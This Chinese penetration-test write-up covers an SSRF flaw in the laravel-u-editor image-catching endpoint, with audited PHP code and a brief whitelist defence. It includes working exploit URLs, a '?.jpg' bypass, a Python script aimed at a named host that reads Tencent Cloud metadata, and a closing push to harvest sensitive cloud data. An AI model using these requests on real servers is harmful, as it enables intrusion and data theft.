测试实践***f漏洞应用与防御
概要
此次测试为公司内部站点测试,测试出了众多常见的xss、文件上传、订单逻辑漏洞。不过这里只介绍一个f漏洞以作学习,这是一个大佬从代码中发现的,我过来学习一下,同时做个总结。之所以总结这一个,或许是因为从这个漏洞中学习的更多一些知识和技巧吧!同时加深一下对f的理解!
漏洞的详细介绍
漏洞的原理:
F(Server-Side Request Forgery:服务器端请求伪造) 是一种由者构造形成由服务端发起请求的一个安全漏洞。一般情况下,F的目标是从外网无法访问的内部系统。F 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。(来自网络中的总结)
这些原理网络上有很多,就不再过多解释了。我想详细说一下这个漏洞造成的过程,和中利用的过程。
漏洞的发现
站点中引用了github上的一个编辑器的项目laravel-u-editor。UEditor 是由百度web前端研发部开发所见即所得富文本web编辑器。
代码如下:
public function server(Request $request)
{
$config = config(‘UEditorUpload.upload‘);
$action = $request->get(‘action‘);
switch ($action) {
case ‘config‘:
$result = $config;
break;
case ‘uploadimage‘:
$upConfig = array(
"pathFormat" => $config[‘imagePathFormat‘],
"maxSize" => $config[‘imageMaxSize‘],
"allowFiles" => $config[‘imageAllowFiles‘],
‘fieldName‘ => $config[‘imageFieldName‘],
);
$result = with(new UploadFile($upConfig, $request))->upload();
break;
......
case ‘catchimage‘:
$upConfig = array(
"pathFormat" => $config[‘catcherPathFormat‘],
"maxSize" => $config[‘catcherMaxSize‘],
"allowFiles" => $config[‘catcherAllowFiles‘],
"oriName" => "remote.png",
‘fieldName‘ => $config[‘catcherFieldName‘],
);
$sources = $request->get($upConfig[‘fieldName‘]);
$list = [];
foreach ($sources as $imgUrl) {
$upConfig[‘imgUrl‘] = $imgUrl;
$info = with(new UploadCatch($upConfig, $request))->upload();
array_push($list, array(
"state" => $info["state"],
"url" => $info["url"],
"size" => $info["size"],
"title" => htmlspecialchars($info["title"]),
"original" => htmlspecialchars($info["original"]),
"source" => htmlspecialchars($imgUrl)
));
}
$result = [
‘state‘ => count($list) ? ‘SUCCESS‘ : ‘ERROR‘,
‘list‘ => $list
];
break;
}
通过代码审计发现其中的一个参数$sources完全可以由自己控制。
$sources = $request->get($upConfig[‘fieldName‘]);
$source参数直接获取请求中source参数传递的值。
并且,在判断$sources传递过来的$imgUrl值的文件类型的时候,可以绕过。代码如下
$fileType = strtolower(strrchr($imgUrl, ‘.‘));
检测url中“.”后面的后缀即为文件类型,同时判断是不是allowfiles中列举文件类型。所以,完全可以通过?.jpg绕过这个文件类型的判断,去读取一些文件的内容。
漏洞的利用
简单访问一下.htaccess文件
构造请求url:
https://*/laravel-u-editor-server/server?action=catchimage&source[]=https://*/.htaccess?.jpg
先尝试访问
https://*/laravel-u-editor-server/server?action=catchimage&source[]=https://*/.htaccess
很明显访问不了内容。接下来访问我们构造的url
然后访问得到的图片地址。这是便能够看到文件的内容
切记要使用源码的形式观看。
利用小技巧:
因为网站是使用腾讯云搭建的,如果网站存在***f漏洞,完全可以通过腾讯云给的服务器元数据的接口,获得服务器的很多信息。元数据接口信息文档内容:
https://cloud.tencent.com/document/product/213/4934#.E6.9F.A5.E8.AF.A2.E5.AE.9E.E4.BE.8B.E5.85.83.E6.95.B0.E6.8D.AE
查看一下所有类别的元数据
https://*/laravel-u-editor-server/server?action=catchimage&source[]=http://metadata.tencentyun.com/latest/meta-data/?.jpg
然后访问图片地址:
这是可以列出的所有元数据信息。我们可以试着获取一下内网IP地址
想获取更多的信息,脚本:
#!/usr/bin/python3
#coding=utf-8
import requests
import sys
‘‘‘
***f漏洞利用脚本
时间:2019-12-24
作者:yaunsky
作用:通过腾讯云接口,获取元数据
‘‘‘
#获取元数据并输出
def imgRequests():
#获取腾讯云接口的url
source = sys.argv[1]
imgurl = "https://beta.4hou.com/laravel-u-editor-server/server?action=catchimage&source[]="+source+"?.jpg"
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0"}
req = requests.get(url=imgurl,headers=headers)
print(jpgRequests(req))
#获取jpg文件的url
def jpgRequests(req):
jpgJson = req.json()
jpgInfo = requests.get(jpgJson[‘list‘][0][‘url‘])
return jpgInfo.text
def main():
imgRequests()
if __name__ == "__main__":
main()
获取服务器用户名
获取服务器公钥
获取真实ip
漏洞的防御
此次使用的方法是设置url白名单。限制imgurl的获取地址。同时修改文件验证类型的源码。
修改代码:
简单举个例子
防御后访问之前的url。
结语
如今中小型企业大多数的都是使用的云服务,如果遇到***f,不妨通过这个漏洞通过给定的api接口获取一些有效的敏感信息。同时如果是企业用户一定要防范好自己的网站,设定好白名单,不要让非法分子钻到空子!
文章仅做学习总结和交流!!!
如果出现“*”号表示平台过滤,一般表示shentou和gongji!!!!
原文地址:https://blog.51cto.com/12332766/2461120